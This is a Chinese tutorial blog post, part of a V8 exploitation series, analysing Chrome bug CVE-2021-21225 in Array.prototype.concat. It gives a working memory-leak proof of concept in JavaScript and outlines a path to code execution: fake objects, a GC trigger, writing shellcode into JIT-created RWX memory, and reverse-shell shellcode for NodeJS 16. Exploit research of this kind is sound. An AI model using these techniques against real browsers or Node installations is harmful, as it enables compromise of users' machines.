从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

作者:Hcamael@知道创宇404实验室

相关阅读:

从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)

从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)

从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)







第七个研究的是CVE-2021-21225,其chrome的bug编号为:1195977

受影响的Chrome最高版本为:90.0.4430.72 受影响的V8最高版本为:9.0.257.17

在chrome的bugs中也有该漏洞的exp和poc。
搭建环境
一键编译相关环境:
$ ./build.sh 9.0.257.17
漏洞分析
本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:
class Leaky extends Float64Array {}

let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}

var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};

var c = Array.prototype.concat.call(w);

for (var i = 0; i < 32; i++) {
print(c[i]);
}
其中gc函数需要运行d8的时候加上--expose-gc参数,才能调用。
该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2],那么可以把变量c的信息给泄漏出来。
发现该漏洞的研究人员也写了相关的paper:
  1. https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018

  2. https://tiszka.com/blog/CVE_2021_21225_exploit.html
漏洞出现在concat函数上,而且也不是新类型的漏洞,concat函数之前的漏洞编号为:CVE-2016-1646CVE-2017-5030,详细的可以去看上面的第一篇文章。
这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。
在上面的第二篇文章中,提供了这么一种方案:
1. 在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为PACKED_DOUBLE_ELEMENTS类型。

2. 如果我们把变量w的map改为HOLEY_ELEMENTS类型,那么concat函数在操作的时候,会把w的元素都当成Object处理。

3. 这样,我们在变量w后面再定义一个变量: padding_obj = new Uint32Array(10);,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。

4. 有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。
但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。
在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。
垃圾回收
上面poc中的gc函数需要加上--expose-gc参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:
function gc() {
new ArrayBuffer(0x7fe00000);
}
另一种得到RWX内存的方案
在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。
如果heap->write_protect_code_memory为0,那么JIT优化的代码会生成RWX内存区域来存放。
示例如下:
function jit(a) {
return a[0];
}

write64(write_protect_code_memory_, 0);

for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
其中write_protect_code_memory_地址一般在堆的开头,可以通过gdb来搜索该地址。
jit_turbo_code_addr地址的偏移也可以通过gdb调试来获取。

NodeJS

的利用

经过研究,该漏洞能影响到NodeJS 16.0.0。
来编写NodeJS的exp的过程中需要注意几点:

1. nodejs没开启地址压缩。


2. 使用%DebugPrint或者%System会影响内存布局,影响利用。


3. 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。

参考

https://bugs.chromium.org/p/chromium/issues/detail?id=1195977



从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

往 期 热 门

(点击图片跳转)

从0开始学 V8 漏洞利用之 CVE-2021-21225(九)
从0开始学 V8 漏洞利用之 CVE-2021-21225(九)
从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

原文始发于微信公众号(Seebug漏洞平台):从0开始学 V8 漏洞利用之 CVE-2021-21225(九)

版权声明:admin 发表于 2022年3月24日 下午3:00。
转载请注明:从0开始学 V8 漏洞利用之 CVE-2021-21225(九) | CTF导航

相关文章

暂无评论

暂无评论...